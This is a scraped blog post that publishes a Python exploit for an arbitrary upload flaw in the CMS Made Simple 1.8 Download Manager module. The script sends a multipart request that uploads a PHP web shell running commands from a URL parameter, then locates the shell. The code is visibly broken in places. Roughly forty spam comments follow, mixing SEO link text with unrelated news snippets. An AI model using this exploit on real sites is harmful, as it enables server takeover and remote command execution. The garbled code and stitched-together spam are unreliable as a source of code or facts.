This site is soon to be deprecated by

Sunday, July 11, 2010

CMS Made Simple 1.8 Download Manager 1.4.1 Module Arbitrary Upload

An arbitrary upload vulnerability in CMS Made Simple 1.8 Download Manager 1.4.1 Module can be exploited to upload a PHP shell.

import socket, re

host = 'localhost'
path = '/cmsms'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send('POST ' + path + '/modules/DownloadManager/lib/simple-upload/example.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 189\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'
'Content-Type: application/octet-stream\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'

resp = s.recv(8192)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
else: print 'shell uploaded'

shell_path = path + '/modules/DownloadManager/lib/simple-upload/'\
+'shell_[^.]+\.php', resp).group(0)

s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path



  1. House of Fraser Voucher Codetexan culture Also referred to as intact dilation and evacuation, intact dilation and extraction refers to a form of late term abortion which is carried out in the fifth month of gestation or later

  2. It has in place highly streamlined and efficient distribution channels and its products are sold across a hundred countries worldwide. reviewsweb design belfast

  3. Relative humidity should be increased to around 70% in the last three days of incubation to keep the membrane around the hatching chick from drying out after the chick cracks the shellholiday to barbadosSexy Lingerie

  4. slimming teadecoratiefolieIn trying to overcome the political obstacles, the Obama administration could face opposition from those who say that any concessions to Russia are not worthwhile, given the major disagreements on foreign policy, human rights and concerns about corruption, and especially because the amount of trade with Russia is small. There were slightly more than $8 billion in American exports to Russia in 2011, compared, for instance, to more than $100 billion to China.

  5. chroomfolie kopenhome decorating ideasIndeed, Mr. Romney’s campaign has warned donors and supporters that even with his victories in the coming contests, the Republican competition may very well last until at least the middle of May. They said the situation did not indicate diminishing prospects for Mr. Romney but rather was the result of the party’s delegate-allocation rules and the additional time those require for any candidate to accumulate the 1,144 delegates necessary to secure the nomination.

  6. Wind Energy Tax CreditsBoston Website HostingDespite an American-led training effort that has spanned years and cost tens of billions of dollars, the Afghan security forces are still widely seen as riddled with dangerously unreliable soldiers and police officers. The distrust has only deepened as a pattern of attacks by Afghan security forces on American and NATO service members, beginning years ago, has drastically worsened over the past

  7. tucson realtyRechtsanwalt SiegenThe two appeared at the presidential palace Monday in a handover ceremony cementing a power transfer deal that helped end months of protests and violence over Saleh's longtime rule.
    Before Hadi became acting president in November, protesters had taken to the streets demanding an end to Saleh's 33-year rule.

  8. Augenklinikbrazilian blowoutRick Santorum at a forum for pastors last month in Texas.
    Published: March 3, 2012

    GREAT FALLS, Va. — Rick Santorum was, in his own words, a “nominal Catholic” when he met Karen Garver, a neonatal nurse and law student, in 1988. As they made plans to marry and he decided to enter politics, she sent him to her father for advice.

  9. auto folie kopencisco routersthey're the two most offensive candidates in the race. Not only that, but neither of them really stands a chance of winning the primary. Let's face it, we all know Romney will win the GOP primary because nobody else on the field has his electability.

    It all boils down to the independents. None of the GOP candidates has much of a chance of pulling in liberals; to us, they're all repugnant, though obviously some are more repugnant than others. If Republicans are smart, they will know that they can't win by choosing a hyper-conservative candidate; that will only scare off independents and ensure that liberals turn up in droves on election day to vote for Obama just to ensure that the GOP candidate doesn't win.

  10. marijuana vaporizerwardrobeGingrich and Santorum couldn't get their campaigns together enough to get on the ballots. If a voter feels let down because of this, don't complain about the system - complain to those two candidates. Further, if a candidate can't organize enough to get on a ballot, we're supposed to think he'd do a swell job running a country?

  11. affordable Powered wheelchairnewsletter publishingThere is a bigger problem here: We shouldn't have primaries at all, and especially not closed primaries where only the extreme left and right wing-nuts participate and thereby insure that no moderates need apply to run the country. What we should do is have "instant primaries" on the general election day. All the voters would get to choose, not just the small band of extremists we let pick our candidates today.

  12. Catering Atlanta3 Mobile Voucher CodesThe Xoom generally impressed reviewers, but its sales disappointed from the start. Motorola was forced to cut the price of its Wi-Fi-only tablet to $499, the same as the iPad, just a few months later.
    Meanwhile, Samsung is throwing just about every size tablet out there to see what sticks. The original Galaxy Tab featured a 7-inch screen; the next was 10.1 inches; then came 8.9 inches.

  13. Currys Discount CodesMiddle East Classified AdsTechnology is changing so quickly with new releases and new software, so it's really important to keep your skills up to date.
    "There are no easy answers, and it's a big problem for the industry. I would like to see employers running 'return to work' schemes to help women get their skills back up to date after a career break.
    "It would help them harvest that talent and would help everyone, but it needs investment."

  14. “We did it again,” Mr. Santorum said, addressing jubilant supporters in Louisiana, which holds its Republican primary next week. “The time is now for conservatives to pull together.”

    A week after Super Tuesday cemented the status of Mr. Romney and Mr. Santorum as the leading Republican candidates, the outcome of the Alabama and Mississippi primaries strengthened Mr. Santorum’s argument that he should emerge as the final competitor to Mr. Romney. But Mr. Gingrich, who finished a close second in both states, buy facebook likes

    Web Design Lancaster

  15. Fisher Space pens

    Blogs and Artciles“We will be increasing our delegate count in a very substantial way after tonight,” Mr. Romney said in a statement Tuesday evening, forgoing a traditional election night speech or victory rally. He added, “We are even closer to the nomination.”

    Early on Wednesday, Mr. Romney was able to add to his delegate tally for the day with an apparent triumph in Hawaii’s Republican caucuses, the A.P. reported, as well as a victory in American Samoa.

  16. sign contracts online

    GCC Business Directory

    How on earth are "the lawyers" collecting millions in fees "[a]ll at taxpayers expense"?

    The private parties challenging the law are paying their lawyers from their own funds. Those funds are private funds, not tax dollars. The Solicitor General is paid by the taxpayers, sure, but he is salaried and gets paid whether he argues this case or another one. The same for the other members of the SG's office. And the same for the justices themselves. They, too, are salaried and get paid whether they hear this argument or arguments in some other case.

  17. We really love your blog, i haven't seen you keeping the posts in in some time now. Is everything ok.
    I'd love to visit that random middle-of-nowhere pub!
    How great is the scenery, all nice and hotels edinburghGumtree

  18. Littlewoods Promotion Codes


    The state-run Syrian Arab News Agency reported that Homs residents thanked Syrian troops Sunday "for restoring security and stability to their neighborhood and saving them from the horror of the armed terrorist groups."
    On Monday, SANA said authorities had killed and wounded members of an "armed terrorist group" that were trying to infiltrate Syria from Turkey.

  19. tree services

    Miami Interior Designers
    The Syrian National Council -- an opposition coalition whose leadership resides outside of Syria -- has gained recognition from the United States, France and other countries as a legitimate representative of the Syrian opposition.
    Ausama Monajed, adviser to the president of the Syrian National Council, says his group already has a plan for a post-Assad era.

  20. jobs

    cnc milling brisbane
    Yet even if the SNC becomes a facilitator while a new government is formed, it's uncertain who would lead that group at the time of an al-Assad ouster; the SNC presidency has a term of three months.
    A rebel military leader
    Although numerous armed opposition groups emerged after the government's crackdown started, a top military defector from the rebel Higher Military Council announced last week that rebel forces have united under the leadership of the Free Syrian Army.

  21. Abogados en España

    Weightwatchers Promotion Code
    That's part of what Bashar has been doing ever since he came to power," Lesch said. "He has put members of his extended family ... in various parts of government and military security apparatus. If the day came -- and it did come -- where there was a threat to the regime, he could count on the loyalty of those closest to him."
    Here is a closer look at the al-Assad family, an authoritarian dynasty that has been in place for more than 40 years.

  22. We really love your blog, i haven't seen you keeping the posts in in some time now. Is everything ok.
    I'd love to visit that random middle-of-nowhere pub!
    How great is the scenery, all nice and greegame pokerAuto Trader

  23. mermaid wedding dresses

    hens night ideasElliott Abrams, a senior fellow for Middle Eastern studies at the Council on Foreign Relations, said Syria's agreement to Annan's plan is a "fraud" aimed at buying time.
    "They can keep on negotiating and drag this out, because with every passing week they kill more dissidents. I think what the regime is hoping is they can crush all of this before anybody moves to help the opposition," he said.

  24. Igre igrice

    Compare the MarketWhen John Paul came "it was a different period in our history," said Camilo Ortiz, a 50-year-old Havana resident, but the former pontiff's visit still "had more power" than Benedict's.
    "During that time, there were many difficulties here," Ortiz added. "Now, there are some changes, and things are a little better."

  25. Construction Lawyer Attorney NYC

    Capsiplex Reviews

    The processing power of a single core is not more than it was around 2005. Progress stopped there. These supercomputers simply add ever more cores, and count their combined performance as a single unit. For real applications the quoted performance peta, exa, etc, are pipedreams. There is nothing on the technological horizon to break out of this mold.

    Like Reply

  26. balers

    architecture blogan opposition coalition whose leadership resides outside of Syria -- has gained recognition from the United States, France and other countries as a legitimate representative of the Syrian the Council on Foreign Relations, said Syria's agreement to Annan's plan is a "fraud" aimed at buying time.

  27. office furniture

    imitation breitling
    Well aren't you cynical? I'm sure there will be lots of foreign exploitation but there will also (hopefully) be an improvement in living conditions and basic human rights. Or do you think basic human rights aren't important at all?


    Kitchen and Bath Design in various parts of government and military security apparatus. If the day came -- and it did come -- where there was a threat to the regime, he could count on the loyalty of those closest to him."
    Here is a closer look at the al-Assad family, an authoritarian dynasty that has been in place

  29. red wine brands

    psicologos boadilla\

    I agree, China should re-unite the 2 nations, give them both a new religion, move people to one region and develop it very well, considering the population is also very low, China can move part of its population there and they can live there for 200-400 years, developing it and making it better for all.


  30. como ganhar dinheiro extra

    air conditioning Denver
    Military leaders had planned to invite political parties and civilian representatives to the convention, said Capt. Amadou Sanogo, the junta leader.
    The international community -- including West African states, the African Union and the United States -- has called for the immediate restoration of constitutional rule. The African Union and ECOWAS have also slapped the military junta with travel and economic restrictions and have frozen its assets.

  31. >replicas de relogios famosos

    psicologos el escorial
    "The withdrawal of the heavy weaponry will take place by April 10," he said. But he said Damascus needed a clear guarantee from Annan that once government troops pull back, "other parties will do the same and will not fill the vacuum."
    "Of course we are in favor of peace, but we want all of these external interferences in our domestic affairs to stop," he said.
    Diplomatic sources told CNN in February that a number of Arab nations were supplying arms to the Syrian opposition, but they wouldn't identify which countries. A Sunni Arab tribal leader from Iraq told CNN last week that he and some of his fellow leaders have been smuggling weapons across the border into Syria as well.

  32. replicas de relogios Mont Blanc

    psicologos las rozas
    It is nothing but hypocritical that Assad claims to be fighting "Islamists" as Assad is the second biggest supporter of Terrorism in the ME after Iran. Assad arms and funds Hizballah, a terror organiztion recognized as such by the EU and US, as well as used to upto a year ago to support Hamas which headquarters resided in damascus.

  33. poker facebook

    electronic cigaretteThe most important benefit of online shopping is that it allows people to browse through a number of products and categories and offer them facilities to compare the prices of products they have chosenThere is an abundance of cookies, cakes and other sugary snacks at home and

  34. As an alternative for raised smells, we invent items for instance field glasses. In addition to rather then apparel regarding coat, we merely contain applications. Of course, in regards to trying to keep comfy these days, persons have a very massive selection attire from which to choose jam breitling tas butik super

  35. Data analysis

    sheet metal fabricationWe really love your blog, i haven't seen you keeping the posts in in some time now. Is everything ok.
    I'd love to visit that random middle-of-nowhere pub!
    How great is the scenery, all nice and green

  36. Thomas the Younger's daughter Mary Augusta Arnold, became a famous novelist under her married name of Mrs Humphry Ward, whilst Tom's other daughter, Julia, married Leonard Huxley, the son of Thomas Huxley and their sons were Julian and Aldous Huxley. Julia Arnold also founded in 1902 Prior's Field School a still existing girl's school in Godalming, Surrey.
    He died suddenly of a heart attack in the midst of his growing influence.
    car rental peoria il

    cute round frame

  37. The rotor transports protons across the membrane, and is turned in the process. The rotor alone can operate at 6,000 to 17,000 rpm, but with the flagellar filament attached usually only reaches 200 to 1000 rpm. The direction of rotation can be switched almost instantaneously, caused by a slight change in the position of a protein, FliG, in the rotor.
    water ionizer

    Hand Sanitizer Stations and Refill


  39. Demand for turnkey rental the past few years has increased — a function of foreclosures and fewer existing rental properties making the decision to buy

  40. Juno_okyo's Blog - About Information Technology, Hacking & Security, Tutorial and more Trick & Tips...